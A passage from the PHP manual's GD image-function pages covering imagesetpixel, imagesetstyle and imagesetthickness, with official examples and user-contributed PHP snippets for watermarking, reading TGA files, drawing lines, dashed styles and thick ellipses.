Custommize this to see some nice changes:
*/
$width = 360;   // degrees
$height = 18;   // byte
$offset = -60;    // offset of color hue

/*
Main programm:
Here comes transformations - width to degrees and height to intesity
*/
$w2deg = $width/360;
$h2byte = $height/255;
$byte2deg = 255/360;
$im = imagecreatetruecolor($width,$height);
for ($x = 0; $x < $width; $x ++){
  /*
  Transform X to degrees
  */
  $x_pos = $x/$w2deg;
  /*
  Intensity position (where max intensity is 255) on 360 degree scale.
  0 = red
  1 = green
  2 = blue
  */
  $rgb_pos[0] = sin(deg2rad($x_pos) - deg2rad($offset + 0));
  $rgb_pos[1] = sin(deg2rad($x_pos) - deg2rad($offset + 120));
  $rgb_pos[2] = sin(deg2rad($x_pos) - deg2rad($offset + 240));
  /*
  Calculate intesity at current point 0 - 255
  */
  $rgb_col[0] = 127 + 127 * $rgb_pos[0];
  $rgb_col[1] = 127 + 127 * $rgb_pos[1];
  $rgb_col[2] = 127 + 127 * $rgb_pos[2];

  /*
  White -> color -> Black loop
  */
  for ($y = 0; $y < $height; $y ++){
    /*
    Transform Y to intensity (-255 to 255)
    */
    $y_pos = -255 + ($y/$h2byte) * 2;
    $rgb_out[0] = $rgb_col[0] - $y_pos;
    $rgb_out[1] = $rgb_col[1] - $y_pos;
    $rgb_out[2] = $rgb_col[2] - $y_pos;

    /*
    If we go over 255 or under 0 we normalize it
    */
    foreach($rgb_out as $key => $col){
      if ($col > 255){
        $rgb_out[$key] = 255;
      } else if ($col < 0){
        $rgb_out[$key] = 0;
      }
    }
    /*
    Put a pixel
    */
    $col = imagecolorallocate($im,$rgb_out[0],$rgb_out[1],$rgb_out[2]);
    imagesetpixel($im,$x,$y,$col);
  }
}
/*
Test output
*/
imagejpeg($im,'colortable.jpg');
echo '<img src="colortable.jpg">';
?>
zehao dot chang at gmail dot com 06-Apr-2006 10:00
Here's my stab at the imagecreatefromtga function. I used code from send at mail dot 2aj dot net and others below as a basis, and added support for targa 16, targa 24 and targa 32. However, I only support uncompressed RBG data type as that's the only one I need. (I removed the return_array feature since you can simply use imagesx() and imagesy() to get the image size).

Please note that I have not tested this with a targa 16 since I don't have one handy at the moment.

<?php

function imagecreatefromtga( $filename )
{
    $handle = fopen( $filename, 'rb' );
    $data = fread( $handle, filesize( $filename ) );
    fclose( $handle );

    // Extract header information
    $string_length = base_convert( bin2hex( substr($data,1,1) ), 16, 10 );
    $data_type = base_convert( bin2hex( substr($data,2,1) ), 16, 10 );
    $width = base_convert( bin2hex( strrev( substr($data,12,2) ) ), 16, 10 );
    $height = base_convert( bin2hex( strrev( substr($data,14,2) ) ), 16, 10 );
    $bits_per_pixel = base_convert( bin2hex( substr($data,16,1) ), 16, 10 );

    // Currenly I'm only supporting RGB Data type
    switch( $data_type )        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:        // Uncompressed RGB image
            break;
        case 0:        // No attached image data
        case 1:        // Uncompressed color-mapped image
        case 3:        // Uncompressed black and white image
        case 9:        // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $bytes_per_pixel = (int) $bits_per_pixel/8;
    $x = 0;  $y = $height;

    $image = imagecreatetruecolor($width, $height);

    while ( $pointer < strlen($data) )
    {
        if( $bytes_per_pixel == 2 )            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $low_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $high_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $r = base_convert( ($high_byte & 0x7C)>>2, 16, 10);
            $g = base_convert( (($high_byte & 0x03)<<3) | (($low_byte & 0xE0)>>5), 16, 10);
            $b = base_convert( $low_byte & 0x1F, 16, 10);
            imagesetpixel( $image, $x, $y, $r<<16 | $g<<8 | $b);
        }
        else if( $bytes_per_pixel == 3 )    // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel))), 16, 10));
        }
        else if( $bytes_per_pixel == 4 )    // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel-1))), 16, 10));
        }

        if(++$x == $width)
        {
            $y--;
            $x=0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

?>
T. Dekker 30-Nov-2005 11:53
In reply to weitheism at gmail.com:

You should probably have used ImageAlphaBlending($image, false); in your early attempts. This way any paint/fill operation replaces the alpha value of the destination.
Brian Vaughn [php at boynamedbri dot com] 28-Aug-2005 09:00
I looked, but was unable to find any example code to watermark an image with a watermark that contained alpha transparency. So the following class does just that. As a parameter, it takes 2 image objects: the main image, and the watermark image (which can be a gif, png, whatever) - and optionally, an alpha setting (0-100% alpha for the watermark image). It then creates and returns a new image with the alpha-transparent watermark imposed, center-aligned, over the larger image.

<?php
class watermark{

    function create_watermark( $dst_img, $watermark_img, $alpha = 100 ) {
        $alpha    /= 100;    # convert 0-100% user-friendly alpha to decimal

        # calculate our images dimensions
        $dst_img_w    = imagesx( $dst_img );
        $dst_img_h    = imagesy( $dst_img );
        $watermark_img_w    = imagesx( $watermark_img );
        $watermark_img_h    = imagesy( $watermark_img );

        # create new image to hold merged changes
        $return_img    = imagecreatetruecolor( $dst_img_w, $dst_img_h );
#        $return_img    = imagecreate( $dst_img_w, $dst_img_h );

        # determine center position coordinates
        $dst_img_min_x    = floor( ( $dst_img_w / 2 ) - ( $watermark_img_w / 2 ) );
        $dst_img_max_x    = ceil( ( $dst_img_w / 2 ) + ( $watermark_img_w / 2 ) );
        $dst_img_min_y    = floor( ( $dst_img_h / 2 ) - ( $watermark_img_h / 2 ) );
        $dst_img_max_y    = ceil( ( $dst_img_h / 2 ) + ( $watermark_img_h / 2 ) );

        # walk through main image
        for( $y = 0; $y < $dst_img_h; $y++ ) {
            for( $x = 0; $x < $dst_img_w; $x++ ) {
                $return_color    = NULL;

                # determine the correct pixel location within our watermark
                $watermark_x    = $x - $dst_img_min_x;
                $watermark_y    = $y - $dst_img_min_y;

                # fetch color information for both of our images
                $dst_rgb = imagecolorsforindex( $dst_img, imagecolorat( $dst_img, $x, $y ) );

                # if our watermark has a non-transparent value at this pixel intersection
                # and we're still within the bounds of the watermark image
                if (    $watermark_x >= 0 && $watermark_x < $watermark_img_w &&
                            $watermark_y >= 0 && $watermark_y < $watermark_img_h ) {
                    $watermark_rbg = imagecolorsforindex( $watermark_img, imagecolorat( $watermark_img, $watermark_x, $watermark_y ) );

                    # using image alpha, and user specified alpha, calculate average
                    $watermark_alpha    = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
                    $watermark_alpha    = $watermark_alpha * $alpha;

                    # calculate the color 'average' between the two - taking into account the specified alpha level
                    $avg_red        = $this->get_ave_color( $dst_rgb['red'],        $watermark_rbg['red'],        $watermark_alpha );
                    $avg_green    = $this->get_ave_color( $dst_rgb['green'],    $watermark_rbg['green'],    $watermark_alpha );
                    $avg_blue        = $this->get_ave_color( $dst_rgb['blue'],    $watermark_rbg['blue'],        $watermark_alpha );

                    # calculate a color index value using the average RGB values we've determined
                    $return_color    = $this->imagegetcolor( $return_img, $avg_red, $avg_green, $avg_blue );

                # if we're not dealing with an average color here, then let's just copy over the main color
                } else {
                    $return_color    = imagecolorat( $dst_img, $x, $y );

                } # END if watermark

                # draw the appropriate color onto the return image
                imagesetpixel( $return_img, $x, $y, $return_color );

            } # END for each X pixel
        } # END for each Y pixel

        # return the resulting, watermarked image for display
        return $return_img;

    } # END create_watermark()

    # average two colors given an alpha
    function get_ave_color( $color_a, $color_b, $alpha ) {
        return round( ( ( $color_a * ( 1 - $alpha ) ) + ( $color_b    * $alpha ) ) );
    } # END get_ave_color()

    # return closest pallette-color match for RGB values
    function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
    } # EBD imagegetcolor()

} # END watermark API
?>
weitheism at gmail.com 08-Aug-2005 09:22
I was looking for a way to actually DELETE pixels or squares or parts of an image from an image resource, and at first I thought imagesetpixel would do the trick. Unfortunately, it merely paints over that one pixel, and as far as I knew, php didn't have any native way of deleting sections out of your image - so this little method should take care of deleting rectangular parts of your pictures!

function deleteRectangle(&$oldImage,$leftX,$leftY,$rightX,$rightY)
    {
        // Since php has no native way of delete parts of images
        // We have to divide the image into four different parts and then copy them manually to a new
        // image

        $xSize = imagesx($oldImage);
        $ySize = imagesy($oldImage);

        // Divides the image into four sections to copy
        $imagesection = array();
        $imagesection[] = array(0,0,$leftX,$ySize);
        $imagesection[] = array($leftX,0,$rightX+1,$leftY);
        $imagesection[] = array($leftX,$rightY+1,$rightX+1,$ySize);
        $imagesection[] = array($rightX+1,0,$xSize,$ySize);

        // Create the new, copied image
        $newImage = imagecreatetruecolor($xSize,$ySize);
        // Vital for transparency
        imagesavealpha($newImage,true);

        // Fills the background a transparent color
        $transparentBackground = imagecolorallocatealpha($newImage,255,255,255,127);
        imagefill($newImage,0,0,$transparentBackground);

        // Copies each of the four imagesections into their respective old positions
        for($i = 0;$i<count($imagesection);$i++)
imagecopyresampled($newImage,$oldImage, $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1]);

        // Alternately you can cycle through each pixel in an image and see if that pixel is an the area
        // but that could be more intensive
        imagedestroy($oldImage);

        // Sets the old image equal to the new, cleared image
        $oldImage = $newImage;
    }

It was made with a transparent background in mind, but you could easily change that by changeing imagecreatetruecolor to imagecreate and deleting the code that deals with transparency. Hope it helps!
d [AT] sprid [DOT] de 14-Jul-2005 11:28
This code does generate a RGB-cube (with or without borders). Because its only rendering the visible pixels its clearly fast (approx 1 up to 2 seconds). With changing the $order-variable you can see the cube from different perspectives. Entering double or tribble values (like rrg or ggg) will give you other specs of single channels. Send any sugestions to my email.

<?php
$borders = true;
$order   = 'rgb';

set_time_limit(0);
$img = imageCreateTrueColor(510, 510);

$bg = imageColorAllocate($img, 255, 255, 255);
$black = imageColorAllocate($img, 255, 255, 255);

for ($r=0; $r<256; $r++) {
  for ($g=0; $g<256; $g++) {
    for ($b=0; $b<256; $b++) {
      $rN = ${$order{0}};
      $gN = ${$order{1}};
      $bN = ${$order{2}};

      $col = imageColorAllocate($img, $rN, $gN, $bN);
      imagesetpixel($img, $b+($r*0.5)+(255/4), $g+($r*0.5)+(255/4), $col);
      if ($r < 255 && $g > 0) break;
    }
  }

  if ($borders) {
    imagesetpixel($img, ($r*0.5+(255/4)), ($r*0.5)+(255/4),     $black);
    imagesetpixel($img, ($r*0.5)+255+(255/4), ($r*0.5)+(255/4), $black);
    imagesetpixel($img, ($r*0.5)+(255/4), ($r*0.5)+255+(255/4), $black);
  }
}

if ($borders) {
  imageline($img, 255/4, 255/4, 255+(255/4), 255/4, $black);
  imageline($img, 255/4, 255/4, 255/4, 255+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
}

header("Content-Type: image/png");
imagepng($img);
imagedestroy($img);
?>
bpgordon at gmail dot com 24-May-2005 12:18
This code converts a block of text to an image so that each character in the block defines one pixel in the image and each line in the block (delimited by \n's) builds one whole row of pixels in the image.
Usage: Place a 0 to create a white pixel. Place a 1 to create a black pixel.
Example: Entering the following digits (including the line breaks) will create a 3x3 square with a 1-pixel white border.
00000
01110
01110
01110
00000

<?php
if (isset($_POST["sendtxt"])) {
header("Content-type: image/png");
$splitted = explode("\n", $_POST["sendtxt"]);
foreach ($splitted as $tcurkey => $curval) $tsplitted[$tcurkey] = rtrim($curval);
$splitted = $tsplitted; //referencing isn't working for some reason...
$image = imagecreate(strlen($splitted[1]), count($splitted));
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); // don't delete this line
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
foreach($splitted as $curkey => $opelement) {
$subsplitten = preg_split("//", $opelement);
foreach($subsplitten as $subcurkey => $subopelement) {
if ($subopelement == "1" || $subopelement == ".") imagesetpixel($image, $subcurkey-1, $curkey, $black);
}
}
imagepng($image);
imagedestroy($image);
} else {
echo <<<end
<table width="1" border="0"><td>
<form method="post" action="#">
<textarea cols="30" rows="7" name="sendtxt"></textarea><br>
<input type="submit" value="render">
</form></td></table>
end; }
?>
odin<spam inside(C)>dtdm.org 05-Oct-2004 02:36
Just a simple implementation of the Bresenham algorythm (educational purpose....)

You can find more about this and many other tutorials for gfx there: http://brand107.home.comcast.net/pc-gpe/

<?php

/****************************************************
     Bresenham Line Algorythm PHP/GD implementation
****************************************************/
function line($im,$x1,$y1,$x2,$y2,$color){

    $deltax=abs($x2-$x1);
    $deltay=abs($y2-$y1);

    if ($deltax>$deltay) {
     $numpixels=$deltax+1;
     $d=(2*$deltay)-$deltax;
     $dinc1=$deltay << 1; $dinc2=($deltay-$deltax) << 1;
     $xinc1=1; $xinc2=1;
     $yinc1=0; $yinc2=1;
    } else {
     $numpixels=$deltay+1;
     $d=(2*$deltax)-$deltay;
     $dinc1=$deltax << 1; $dinc2=($deltax-$deltay)<<1;
     $xinc1=0; $xinc2=1;
     $yinc1=1; $yinc2=1;
    }

    if ($x1>$x2) {
     $xinc1=-$xinc1;
     $xinc2=-$xinc2;
    }

    if ($y1>$y2) {
     $yinc1=-$yinc1;
     $yinc2=-$yinc2;
    }
    $x=$x1;
    $y=$y1;

    for ($i=0;$i<$numpixels;$i++) {
     imagesetpixel($im,$x,$y,$color);
     if ($d<0) {
      $d+=$dinc1;
      $x+=$xinc1;
      $y+=$yinc1;
     } else {
      $d+=$dinc2;
      $x+=$xinc2;
      $y+=$yinc2;
     }
    }
return ;
}

?>
richard at mf2fm dot co dot uk 24-Aug-2004 11:06
Here is a function that takes an image ($im) and returns it with the contrast maximised...

<?php
function contrast($im) {
    $brightness=0;
    $maxb=0;
    $minb=255;
    $imagesize=getimagesize($im);
    $w=$imagesize[0];
    $h=$imagesize[1];
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            $grey=0.2125*$rgb['red']+
                0.7154*$rgb['green']+
                0.0721*$rgb['blue'];
            $brightness+=$grey;
            if ($grey>$maxb) $maxb=$grey;
            if ($grey<$minb) $minb=$grey;
        }
    }
    $brightness=$brightness/($w*$h);
    $minb=$brightness/($brightness-$minb);
    $maxb=(255-$brightness)/($maxb-$brightness);
    $contrast=min($minb, $maxb);
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            imagesetpixel($im, $x, $y,
                65536*floor(min($rgb['red']*$contrast, 255))+
                256*floor(min($rgb['green']*$contrast, 255))+
                floor(min($rgb['blue']*$contrast, 255)));
        }
    }
    return ($im);
}
?>

An example of usage might be:
<?php
$imagefile="/path/filename";
$image=imagecreatefromjpeg($imagefile);
$image=contrast($image);
imagejpeg($image, $imagefile);
?>
chris at drunkenpirates dot co dot uk 14-Sep-2003 02:50
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig

By chris@drunkenpirates.co.uk

*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
dino at nordmark dot dk 31-May-2002 01:28
The example above diden't work, because of some errors.
This should work and it's also faster because there is only one 512*512 loop. (but it is still very slow)

<?
$filename="lena.raw";
$width=512;
$height=512;
$fp=fopen($filename, "r");
$contents=fread($fp,filesize($filename));
fclose($fp);

$image=imagecreate($width,$height);

// create greyscale palette because the image is limited to 256 colors
for ($i=0;$i<256;$i++){ ImageColorAllocate($image,$i,$i,$i);}

// This is slow, but probably the only way
for ($i=0;$i<512;$i++){
   for ($j=0;$j<512;$j++){
   imagesetpixel ($image,$i,$j,ord($contents[$i+$j*512]));
   }
}

imagepng($image,"result.png");
imagedestroy($image);

echo "<img src=result.png></img>";
?>

--

Dino Patti


Set the style for line drawing

  • « imagesetpixel
  • imagesetthickness »
  • PHP Manual
  • GD and Image Functions
  • Set the style for line drawing

imagesetstyle

(PHP 4 >= 4.0.6, PHP 5)

imagesetstyle — Set the style for line drawing

Description

bool imagesetstyle ( resource $image , array $style )

imagesetstyle() sets the style to be used by all line drawing functions (such as imageline() and imagepolygon()) when drawing with the special color IMG_COLOR_STYLED or lines of images with color IMG_COLOR_STYLEDBRUSHED.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

style

An array of pixel colors. You can use the IMG_COLOR_TRANSPARENT constant to add a transparent pixel.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Following example script draws a dashed line from upper left to lower right corner of the canvas:

Example #1 imagesetstyle() example

<?php
header("Content-type: image/jpeg");
$im  = imagecreatetruecolor(100, 100);
$w   = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* Draw a dashed line, 5 red pixels, 5 white pixels */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* Draw a line of happy faces using imagesetbrush() with imagesetstyle */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagesetstyle()

See Also

  • imagesetbrush() - Set the brush image for line drawing
  • imageline() - Draw a line

User Contributed Notes

programeriss at gmail dot com 23-Dec-2013 12:18
Good code:

<?php
header("Content-Type: image/png");
$im = imagecreatetruecolor(100, 100);
$w = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* Draw a dashed line, 5 red pixels, 5 white pixels */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* Draw a line of happy faces using imagesetbrush() with imagesetstyle */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>
Anonymous 23-Oct-2012 01:03
a shortcut for basic dashed lines, making it easy to adjust the lengths:

<?php

$length1 = 20;
$length2 = 10;
$style = array_merge(array_fill(0, $length1, $red), array_fill(0, $length2, $w));
imagesetstyle($im, $style);

?>
php at imperium dot be 06-Aug-2010 04:05
Be aware that styles are applied towards the width of the line instead of linear.
To convert a style to be used for thick lines you can use the function below:

<?php
/*
ImageStyleThicken(<aStyle>,<iThickness>) --> <aThickStyle>

<aStyle> is the style array for a thickness of 1 (see imagesetstyle()).
<iThickness> is the new thickness to apply (see imagesetthickness()).

<aThickStyle> is the style array suitable for the given thickness.
*/
function ImageStyleThicken($_1,$_2) {
    $a = array();
    foreach ($_1 as $x) {
        $i = $_2;
        do $a[] = $x; while (--$i>0); }
    return $a;
}
?>
Wander 13-Dec-2007 08:12
Function to make a line with random fading:

<?php
    function fading_line($img,$sx,$sy,$ex,$ey){
        $r=rand(0,5);$g=rand(0,5);$b=rand(0,5);
        $l=sqrt((($ex-$sx)*($ex-$sx))+(($ey-$sy)*($ey-$sy)));
        for($i=0;$i<$l;$i++){
            $a = array(255-((255/$l)*$i), 255,0,(255/$l)*$i/2,(255/$l)*$i,(255-((255/$l)*$i))/2);
            $style[]=imagecolorallocate($img,$a[$r],$a[$g],$a[$b]);
        }
        imagesetstyle($img,$style);
        imageline($img,$sx,$sy,$ex,$ey,IMG_COLOR_STYLED);
    }

    fading_line($img,10,20,490,40);    // image, start x, start y, end x, end y
?>
Michael_Todd_335 at yahoo dot com 27-Jun-2007 06:40
Watch out! If you pass imagesetstyle() an empty array as the second argument, it will crash your server!
I was messing with it just earlier and accidentally did so, and the page took a good minute to process, when my Apache server came up with the good ol' Windows 'Send Error Report' window.
Cruz at FtUC dot net 15-Jan-2006 12:45
When lines drawn with imagesetstyle seem to produce a thin white line only, make sure antialiasing is disabled.

<?
  imageantialias($im, false);
  $style = array($gridxcolor, $gridxcolor, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT);
  imagesetstyle($im, $style);
  imageline($im, $x, 0, $x, $ymax+5, IMG_COLOR_STYLED);
  imageantialias($im, true);
?>

Setstyle and Antialias don't go together.
zackbloom at gmail dot com 06-Dec-2005 11:44
Use this to set the style to any combination of pixels.
You can pass as many modifiers as you wish.
Use the format [num]r[red]g[green]b[blue].

For example:

$im=dashed($im,"4r255g0b0","2r0g255b0","5r0g0b255");
imageline($im, 0, 0, 600, 600, IMG_COLOR_STYLED);

function dashed($im){
$size = func_num_args();
for($i = 0; $i < $size; $i++){
$arg = func_get_arg($i);
if(!is_resource($arg)){
$r=substr($arg,strpos($arg,"r")+1,
strpos($arg,"g")-strpos($arg,"r")-1);
$g=substr($arg,strpos($arg,"g")+1,
strpos($arg,"b")-strpos($arg,"g")-1);
$b=substr($arg,strpos($arg,"b")+1,
strlen($arg)-strpos($arg,"b"));
$color = imagecolorallocate($im,$r,$g,$b);
$x = substr($arg,0,strpos($arg,"r"));
$vals[$i] = array_fill(0,$x,$color);
}
}
for($k=0;$k<count($vals)+1;$k++)
if(array_key_exists($k,$vals)) $prop=array_merge($prop,$vals[$k]);
imagesetstyle($im, $prop);
return $im;
}


Set the thickness for line drawing

  • « imagesetstyle
  • imagesettile »
  • PHP Manual
  • GD and Image Functions
  • Set the thickness for line drawing

imagesetthickness

(PHP 4 >= 4.0.6, PHP 5)

imagesetthickness — Set the thickness for line drawing

Description

bool imagesetthickness ( resource $image , int $thickness )

imagesetthickness() sets the thickness of the lines drawn when drawing rectangles, polygons, ellipses etc. etc. to thickness pixels.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

thickness

Thickness, in pixels.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetthickness() example

<?php
// Create a 200x100 image
$im = imagecreatetruecolor(200, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Set the line thickness to 5
imagesetthickness($im, 5);

// Draw the rectangle
imagerectangle($im, 14, 14, 185, 85, $black);

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagesetthickness()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

azinkey at gmail dot com 30-Jul-2013 07:51
thanks circle14,

just change the line & see its solved what we need for ellipse

while ($line < $thickness) {
        $line++;
        $elipse_w--;
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $elipse_h--;
    }
fred at nowhere dot fr 10-Oct-2009 09:05
One thing worse to mention is that imagesetthikness() works on the next object you draw.
For ex : you can draw a grid within a grapg with a thickness of 1

by invoking imagesetthickness($image, 1);

... script to draw your grid...

and then invoke imagesetthikness with a draw your graph lines with a thickness of 3
imagesetthickness($image, 3);
... script to draw your graph lines...

Hope this helps...
raffi dot semerciyan at gmail dot com 24-Sep-2009 05:42
While recently "playing" with GD library for PHP I also encountered the problem of imagesetthickness not working with imageellipse.

I think I found a good work around and wanted to share it  with you:

Instead of using

<?php imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color); ?>

I successfully used:

<?php imagearc($image, $pos_x, $pos_y, $elipse_w, $elipse_h, 0, 359.9, $color); ?>

NOTE: Don't put exactly 360 instead of 359.9 because it seems that the implementation makes the test and uses imageellipse instead!
Below is my Ellipse function that is sensitive to imagesetthickness function AND that creates a properly closed ellipse.

<?php
  function myimageellipse($image, $x, $y, $rx, $ry, $color)
  {
    // We don't use imageellipse because the imagesetthickness function has
    // no effect. So the better workaround is to use imagearc.
    imagearc($image,$x,$y,$rx,$ry, 0,359,$color);

    // If we stop here, we don't have a properly closed ellipse.
    // Using imagefill at this point will flood outside the ellipse (actually arc).

    // We have to close the arc to make it a real ellipse.
    $cos359=0.99984769;
    $sin359=-0.01745240;

    $x1=round($x+$rx/2*$cos359);
    $y1=round($y+$ry/2*$sin359);

    $x2=round($x+$rx/2);
    $y2=round($y);

    // imageline is sensitive to imagesetthickness as well.
    imageline($image,$x1,$y1,$x2,$y2,$color);

  }
?>
jean-raymond dot chauviere at gmail dot com 30-Jun-2009 10:20
An easier to manage thickness is, before to draw in the ellipse to play with 2 ellipse with different color :

<?php
        imagefilledellipse  ($this->image,60,42,57,57,$drawColor);
        imagefilledellipse  ($this->image,60,42,45,45,$backColor);
?>

The first line draw a filled ellipse with the wanted color, and the 2nd one, draw an ellipse with the background color from the same center, but is smaller.

The drawback of this method is that you erase everything in the middle of the ellipse.
admin at circle14 dot net 02-Feb-2009 02:33
Here is a custom function I wrote that addresses the line thickness issues with ellipses :

<?php
function draw_oval ($image, $pos_x, $pos_y, $elipse_width, $elipse_height, $color, $px_thick) {
    $line = 0;
    $thickness = $px_thick;
    $elipse_w = $elipse_width;
    $elipse_h = $elipse_height;
    while ($line < $thickness) {
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $line++;
        $elipse_w--;
        $elipse_h--;
    }
}
?>

I hope you find this useful.
bpatru at gmail dot com 28-Sep-2008 10:01
Apparently imagesetthickness doesn't work if antialiasing is set to true.
baldurien at bbnwn dot eu 12-Mar-2008 01:28
The way that imagesetthickness works with imagerectangle() is pretty strange.

<?php
imagesetthickness(1);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 41x41 square (because gd need the bottom right pixel, inclusive. 50 should get replaced by 49). This will "work" like:

<?php
imageline($im, 10, 10, 10, 50, $red);
imageline($im, 10, 10, 50, 10, $red);
imageline($im, 50, 10, 50, 50, $red);
imageline($im, 10, 50, 50, 50, $red);
?>

The second example:

<?php
imagesetthickness(2);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 43x43 square because the border (thickness) is set to 2. *however* this is not a "regular" border of 2 pixels around the 41x41 original square!

On the left and right, there will be a thickness of 3, while there we be a thickness of 2.

If you take the imageline example, but set the thickness before to 2, this will *almost* do the trick: the left most pixel of the square will not be drawn.

To conclude:

1) do not forget that (width, height) of drawn rectangle is (x2-x1+1, y2-y1+1)
2) thickness is bad implemented (or at least, the behavior i s not documented) on rectangle, as the left/right thickness is not the wanted one.
3) 4*imageline() should do the trick, but after "patching" the top left pixel.
ab at cd dot com 27-Jun-2007 01:05
Note: Also, for me (working under PHP 5.0.2) this function ONLY seems to work with imageline...
-private- 28-Mar-2007 10:01
There is a known bug. Imagesetthickness is NOT working on ellipse.


Set the tile image for filling

  • « imagesetthickness
  • imagestring »
  • PHP Manual
  • GD and Image Functions
  • Set the tile image for filling

imagesettile

(PHP 4 >= 4.0.6, PHP 5)

